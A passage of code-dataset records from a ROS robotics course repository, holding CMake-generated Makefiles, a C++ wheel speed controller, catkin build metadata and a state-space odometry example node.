homework2/CMakeFiles/pubsub_node.dir/build.make homework2/CMakeFiles/pubsub_node.dir/build\n.PHONY : pubsub_node/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/service_node.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/service_node.dir/rule\n.PHONY : homework2/CMakeFiles/service_node.dir/rule\n\n# Convenience name for target.\nservice_node: homework2/CMakeFiles/service_node.dir/rule\n\n.PHONY : service_node\n\n# fast build rule for target.\nservice_node/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/service_node.dir/build.make homework2/CMakeFiles/service_node.dir/build\n.PHONY : service_node/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_gennodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_gennodejs.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_gennodejs.dir/rule\n\n# Convenience name for target.\nhomework2_gennodejs: homework2/CMakeFiles/homework2_gennodejs.dir/rule\n\n.PHONY : homework2_gennodejs\n\n# fast build rule for target.\nhomework2_gennodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_gennodejs.dir/build.make homework2/CMakeFiles/homework2_gennodejs.dir/build\n.PHONY : homework2_gennodejs/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/test_homework2.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/test_homework2.dir/rule\n.PHONY : homework2/CMakeFiles/test_homework2.dir/rule\n\n# Convenience name for target.\ntest_homework2: homework2/CMakeFiles/test_homework2.dir/rule\n\n.PHONY : test_homework2\n\n# fast build rule for target.\ntest_homework2/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/test_homework2.dir/build.make homework2/CMakeFiles/test_homework2.dir/build\n.PHONY : test_homework2/fast\n\nsrc/pubsub_node.o: src/pubsub_node.cpp.o\n\n.PHONY : src/pubsub_node.o\n\n# target to build an object file\nsrc/pubsub_node.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/pubsub_node.dir/build.make homework2/CMakeFiles/pubsub_node.dir/src/pubsub_node.cpp.o\n.PHONY : src/pubsub_node.cpp.o\n\nsrc/pubsub_node.i: src/pubsub_node.cpp.i\n\n.PHONY : src/pubsub_node.i\n\n# target to preprocess a source file\nsrc/pubsub_node.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/pubsub_node.dir/build.make homework2/CMakeFiles/pubsub_node.dir/src/pubsub_node.cpp.i\n.PHONY : src/pubsub_node.cpp.i\n\nsrc/pubsub_node.s: src/pubsub_node.cpp.s\n\n.PHONY : src/pubsub_node.s\n\n# target to generate assembly for a file\nsrc/pubsub_node.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/pubsub_node.dir/build.make homework2/CMakeFiles/pubsub_node.dir/src/pubsub_node.cpp.s\n.PHONY : src/pubsub_node.cpp.s\n\nsrc/service_node.o: src/service_node.cpp.o\n\n.PHONY : src/service_node.o\n\n# target to build an object file\nsrc/service_node.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/service_node.dir/build.make homework2/CMakeFiles/service_node.dir/src/service_node.cpp.o\n.PHONY : src/service_node.cpp.o\n\nsrc/service_node.i: src/service_node.cpp.i\n\n.PHONY : src/service_node.i\n\n# target to preprocess a source file\nsrc/service_node.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/service_node.dir/build.make homework2/CMakeFiles/service_node.dir/src/service_node.cpp.i\n.PHONY : src/service_node.cpp.i\n\nsrc/service_node.s: src/service_node.cpp.s\n\n.PHONY : src/service_node.s\n\n# target to generate assembly for a file\nsrc/service_node.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/service_node.dir/build.make homework2/CMakeFiles/service_node.dir/src/service_node.cpp.s\n.PHONY : src/service_node.cpp.s\n\ntest/test_homework2.o: test/test_homework2.cpp.o\n\n.PHONY : test/test_homework2.o\n\n# target to build an object file\ntest/test_homework2.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/test_homework2.dir/build.make homework2/CMakeFiles/test_homework2.dir/test/test_homework2.cpp.o\n.PHONY : test/test_homework2.cpp.o\n\ntest/test_homework2.i: test/test_homework2.cpp.i\n\n.PHONY : test/test_homework2.i\n\n# target to preprocess a source file\ntest/test_homework2.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/test_homework2.dir/build.make homework2/CMakeFiles/test_homework2.dir/test/test_homework2.cpp.i\n.PHONY : test/test_homework2.cpp.i\n\ntest/test_homework2.s: test/test_homework2.cpp.s\n\n.PHONY : test/test_homework2.s\n\n# target to generate assembly for a file\ntest/test_homework2.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/test_homework2.dir/build.make homework2/CMakeFiles/test_homework2.dir/test/test_homework2.cpp.s\n.PHONY : test/test_homework2.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install\"\n\t@echo \"... list_install_components\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... homework2_gencpp\"\n\t@echo \"... edit_cache\"\n\t@echo \"... homework2_generate_messages_py\"\n\t@echo \"... homework2_geneus\"\n\t@echo \"... homework2_generate_messages_cpp\"\n\t@echo \"... install/local\"\n\t@echo \"... _homework2_generate_messages_check_deps_string_cat\"\n\t@echo \"... homework2_generate_messages\"\n\t@echo \"... homework2_genlisp\"\n\t@echo \"... test\"\n\t@echo \"... homework2_generate_messages_eus\"\n\t@echo \"... homework2_generate_messages_nodejs\"\n\t@echo \"... homework2_generate_messages_lisp\"\n\t@echo \"... homework2_genpy\"\n\t@echo \"... pubsub_node\"\n\t@echo \"... service_node\"\n\t@echo \"... homework2_gennodejs\"\n\t@echo \"... test_homework2\"\n\t@echo \"... src/pubsub_node.o\"\n\t@echo \"... src/pubsub_node.i\"\n\t@echo \"... src/pubsub_node.s\"\n\t@echo \"... src/service_node.o\"\n\t@echo \"... src/service_node.i\"\n\t@echo \"... src/service_node.s\"\n\t@echo \"... test/test_homework2.o\"\n\t@echo \"... test/test_homework2.i\"\n\t@echo \"... test/test_homework2.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.7364335060119629, "alphanum_fraction": 0.7379085421562195, "avg_line_length": 35.90544509887695, "blob_id": "b8aefbd72cd9e3f679c68d28080097b66bc52ef9", "content_id": "2a40f8ec6d115087b3c6341b84d372320c52bbe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 12881, "license_type": "no_license", "max_line_length": 210, "num_lines": 349, "path": "/build/ugv_course_gazebo_plugins/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/ugv_course_gazebo_plugins/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/rule\n.PHONY : ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/rule\n\n# Convenience name for target.\ngps_plugin: ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/rule\n\n.PHONY : gps_plugin\n\n# fast build rule for target.\ngps_plugin/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/build\n.PHONY : gps_plugin/fast\n\n# Convenience name for target.\nugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/rule\n.PHONY : ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/rule\n\n# Convenience name for target.\nview_control_plugin: ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/rule\n\n.PHONY : view_control_plugin\n\n# fast build rule for target.\nview_control_plugin/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/build\n.PHONY : view_control_plugin/fast\n\n# Convenience name for target.\nugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/rule\n.PHONY : ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/rule\n\n# Convenience name for target.\nugv_course_gazebo_plugins_gencfg: ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/rule\n\n.PHONY : ugv_course_gazebo_plugins_gencfg\n\n# fast build rule for target.\nugv_course_gazebo_plugins_gencfg/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/build\n.PHONY : ugv_course_gazebo_plugins_gencfg/fast\n\n# Convenience name for target.\nugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/rule\n.PHONY : ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/rule\n\n# Convenience name for target.\npose_plugin: ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/rule\n\n.PHONY : pose_plugin\n\n# fast build rule for target.\npose_plugin/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/build\n.PHONY : pose_plugin/fast\n\nsrc/GpsPlugin.o: src/GpsPlugin.cpp.o\n\n.PHONY : src/GpsPlugin.o\n\n# target to build an object file\nsrc/GpsPlugin.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/src/GpsPlugin.cpp.o\n.PHONY : src/GpsPlugin.cpp.o\n\nsrc/GpsPlugin.i: src/GpsPlugin.cpp.i\n\n.PHONY : src/GpsPlugin.i\n\n# target to preprocess a source file\nsrc/GpsPlugin.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/src/GpsPlugin.cpp.i\n.PHONY : src/GpsPlugin.cpp.i\n\nsrc/GpsPlugin.s: src/GpsPlugin.cpp.s\n\n.PHONY : src/GpsPlugin.s\n\n# target to generate assembly for a file\nsrc/GpsPlugin.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/gps_plugin.dir/src/GpsPlugin.cpp.s\n.PHONY : src/GpsPlugin.cpp.s\n\nsrc/PosePlugin.o: src/PosePlugin.cpp.o\n\n.PHONY : src/PosePlugin.o\n\n# target to build an object file\nsrc/PosePlugin.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/src/PosePlugin.cpp.o\n.PHONY : src/PosePlugin.cpp.o\n\nsrc/PosePlugin.i: src/PosePlugin.cpp.i\n\n.PHONY : src/PosePlugin.i\n\n# target to preprocess a source file\nsrc/PosePlugin.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/src/PosePlugin.cpp.i\n.PHONY : src/PosePlugin.cpp.i\n\nsrc/PosePlugin.s: src/PosePlugin.cpp.s\n\n.PHONY : src/PosePlugin.s\n\n# target to generate assembly for a file\nsrc/PosePlugin.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/src/PosePlugin.cpp.s\n.PHONY : src/PosePlugin.cpp.s\n\nsrc/ViewControlPlugin.o: src/ViewControlPlugin.cpp.o\n\n.PHONY : src/ViewControlPlugin.o\n\n# target to build an object file\nsrc/ViewControlPlugin.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/src/ViewControlPlugin.cpp.o\n.PHONY : src/ViewControlPlugin.cpp.o\n\nsrc/ViewControlPlugin.i: src/ViewControlPlugin.cpp.i\n\n.PHONY : src/ViewControlPlugin.i\n\n# target to preprocess a source file\nsrc/ViewControlPlugin.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/src/ViewControlPlugin.cpp.i\n.PHONY : src/ViewControlPlugin.cpp.i\n\nsrc/ViewControlPlugin.s: src/ViewControlPlugin.cpp.s\n\n.PHONY : src/ViewControlPlugin.s\n\n# target to generate assembly for a file\nsrc/ViewControlPlugin.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/build.make ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/src/ViewControlPlugin.cpp.s\n.PHONY : src/ViewControlPlugin.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... gps_plugin\"\n\t@echo \"... install\"\n\t@echo \"... view_control_plugin\"\n\t@echo \"... list_install_components\"\n\t@echo \"... ugv_course_gazebo_plugins_gencfg\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... pose_plugin\"\n\t@echo \"... install/local\"\n\t@echo \"... test\"\n\t@echo \"... edit_cache\"\n\t@echo \"... src/GpsPlugin.o\"\n\t@echo \"... src/GpsPlugin.i\"\n\t@echo \"... src/GpsPlugin.s\"\n\t@echo \"... src/PosePlugin.o\"\n\t@echo \"... src/PosePlugin.i\"\n\t@echo \"... src/PosePlugin.s\"\n\t@echo \"... src/ViewControlPlugin.o\"\n\t@echo \"... src/ViewControlPlugin.i\"\n\t@echo \"... src/ViewControlPlugin.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.6871609687805176, "alphanum_fraction": 0.6980108618736267, "avg_line_length": 29.30137062072754, "blob_id": "339d1d5bb6412a7f2f57beac49c9f8ae9764502e", "content_id": "b317fc2a0c11701f19ff081fa884e46509f94a0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2212, "license_type": "no_license", "max_line_length": 114, "num_lines": 73, "path": "/src/roundbot_control/src/WheelSpeedController.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <roundbot_control/WheelSpeedController.h>\n\nnamespace roundbot_control\n{\n\nbool WheelSpeedController::init(hardware_interface::VelocityJointInterface* hw, ros::NodeHandle &n)\n{\n sub_left_command_ = n.subscribe(\"left_command\", 1, &WheelSpeedController::recvLeftCommand, this);\n sub_right_command_ = n.subscribe(\"right_command\", 1, &WheelSpeedController::recvRightCommand, this);\n loadParams(n);\n left_target_speed_ = 0.0;\n right_target_speed_ = 0.0;\n\n left_joint_ = hw->getHandle(left_joint_name_);\n right_joint_ = hw->getHandle(right_joint_name_);\n return true;\n}\n\nvoid WheelSpeedController::loadParams(ros::NodeHandle& n)\n{\n n.param(\"left_joint\", left_joint_name_, std::string(\"left_wheel\"));\n n.param(\"right_joint\", right_joint_name_, std::string(\"right_wheel\"));\n n.param(\"control_timeout\", timeout_, 0.25);\n\n double max_speed, max_accel, max_decel;\n n.param(\"max_speed\", max_speed, 10.0);\n n.param(\"max_accel\", max_accel, 1.0);\n n.param(\"max_decel\", max_decel, 1.0);\n\n left_motor_ = new MotorSim(max_speed, max_accel, max_decel);\n right_motor_ = new MotorSim(max_speed, max_accel, max_decel);\n}\n\nvoid WheelSpeedController::recvLeftCommand(const std_msgs::Float64::ConstPtr& msg)\n{\n left_command_stamp_ = ros::Time::now();\n left_target_speed_ = msg->data;\n}\n\nvoid WheelSpeedController::recvRightCommand(const std_msgs::Float64::ConstPtr& msg)\n{\n right_command_stamp_ = ros::Time::now();\n right_target_speed_ = msg->data;\n}\n\nvoid WheelSpeedController::update(const ros::Time& time, const ros::Duration& period)\n{\n double left_actual;\n double right_actual;\n\n if (((time - left_command_stamp_).toSec() >= timeout_) || ((time - right_command_stamp_).toSec() >= timeout_)) {\n left_actual = left_motor_->iterate(0.0, period.toSec());\n right_actual = right_motor_->iterate(0.0, period.toSec());\n }else{\n left_actual = left_motor_->iterate(left_target_speed_, period.toSec());\n right_actual = right_motor_->iterate(right_target_speed_, period.toSec());\n }\n\n left_joint_.setCommand(left_actual);\n right_joint_.setCommand(right_actual);\n}\n\nvoid WheelSpeedController::starting(const ros::Time& time)\n{\n\n}\n\nvoid WheelSpeedController::stopping(const ros::Time& time)\n{\n\n}\n\n}\n" }, { "alpha_fraction": 0.755033552646637, "alphanum_fraction": 0.7651006579399109, "avg_line_length": 41.71428680419922, "blob_id": "1452ca98dfe2f0f365e3e2265021bd13f5ebaa4c", "content_id": "021d2da2f89c5d28e445cc4b2883d5f7e4e47778", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 298, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/src/ugv_course_gazebo/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_gazebo\")\nset(ugv_course_gazebo_MAINTAINER \"abc <[email protected]>\")\nset(ugv_course_gazebo_DEPRECATED \"\")\nset(ugv_course_gazebo_VERSION \"0.0.0\")\nset(ugv_course_gazebo_BUILD_DEPENDS )\nset(ugv_course_gazebo_RUN_DEPENDS )\nset(ugv_course_gazebo_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.7808219194412231, "alphanum_fraction": 0.7808219194412231, "avg_line_length": 35.5, "blob_id": "26a66cd00cafd21f9caa8f224b853ebcd10005c9", "content_id": "7299cbbfedec1316a451a28bfa0cf48533b76ef7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 365, "license_type": "no_license", "max_line_length": 71, "num_lines": 10, "path": "/build/gmapping/CTestTestfile.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMake generated Testfile for \n# Source directory: /home/justin/ros_test/src/gmapping\n# Build directory: /home/justin/ros_test/build/gmapping\n# \n# This file includes the relevant testing commands required for \n# testing this directory and lists subdirectories to be tested as well.\nsubdirs(\"gridfastslam\")\nsubdirs(\"scanmatcher\")\nsubdirs(\"sensor\")\nsubdirs(\"utils\")\n" }, { "alpha_fraction": 0.7284998297691345, "alphanum_fraction": 0.7331276535987854, "avg_line_length": 34.52054977416992, "blob_id": "fc9d4550f5f485d404bf30491be2b7e4c6fdab36", "content_id": "b10e3656928c9416bc3fb06a83e64909d8ed748e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2593, "license_type": "no_license", "max_line_length": 110, "num_lines": 73, "path": "/src/state_space_example/src/state_space_example.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <ros/ros.h>\n#include <geometry_msgs/TwistStamped.h>\n#include <geometry_msgs/Pose.h>\n#include <tf/tf.h>\n#include <tf/transform_broadcaster.h>\n#include <nav_msgs/Odometry.h>\n\nros::Publisher pub_odom;\ngeometry_msgs::Twist current_twist;\ngeometry_msgs::Pose current_estimate;\ndouble sample_time;\nstd::string parent_frame;\nstd::string child_frame;\n\nvoid recvTwist(const geometry_msgs::TwistStamped::ConstPtr& msg)\n{\n current_twist = msg->twist;\n}\n\nvoid timerCallback(const ros::TimerEvent& event)\n{\n static tf::TransformBroadcaster broadcaster;\n\n // State space equations\n double v = current_twist.linear.x;\n double pdot_c = current_twist.angular.z;\n\n double cos_psi = current_estimate.orientation.w * current_estimate.orientation.w\n - current_estimate.orientation.z * current_estimate.orientation.z;\n double sin_psi = 2 * current_estimate.orientation.w * current_estimate.orientation.z;\n double psi = atan2(sin_psi, cos_psi);\n\n current_estimate.position.x += sample_time * v * cos_psi;\n current_estimate.position.y += sample_time * v * sin_psi;\n double new_psi = psi + sample_time * pdot_c;\n current_estimate.orientation = tf::createQuaternionMsgFromYaw(new_psi);\n\n // Populate TF transform\n tf::StampedTransform transform;\n transform.frame_id_ = parent_frame;\n transform.child_frame_id_ = child_frame;\n transform.stamp_ = event.current_real;\n transform.setOrigin(tf::Vector3(current_estimate.position.x, current_estimate.position.y, 0));\n transform.setRotation(tf::Quaternion(0, 0, current_estimate.orientation.z, current_estimate.orientation.w));\n broadcaster.sendTransform(transform);\n\n // Populate and publish odometry\n nav_msgs::Odometry odom_msg;\n odom_msg.header.stamp = event.current_real;\n odom_msg.header.frame_id = parent_frame;\n odom_msg.child_frame_id = child_frame;\n odom_msg.pose.pose = current_estimate;\n odom_msg.twist.twist = current_twist;\n pub_odom.publish(odom_msg);\n}\n\nint main(int argc, char** argv)\n{\n ros::init(argc, argv, \"state_space_example\");\n ros::NodeHandle node;\n ros::NodeHandle private_node(\"~\");\n\n ros::Subscriber sub_twist = node.subscribe(\"twist\", 1, recvTwist);\n pub_odom = node.advertise<nav_msgs::Odometry>(\"odom\", 1);\n\n private_node.param(\"sample_time\", sample_time, 0.02);\n private_node.param(\"parent_frame\", parent_frame, std::string(\"odom\"));\n private_node.param(\"child_frame\", child_frame, std::string(\"base_footprint\"));\n ros::Timer state_space_timer = node.createTimer(ros::Duration(sample_time), timerCallback);\n\n current_estimate.orientation = tf::createQuaternionMsgFromYaw(0);\n ros::spin();\n}\n" }, { "alpha_fraction": 0.531692385673523, "alphanum_fraction": 0.5388245582580566, 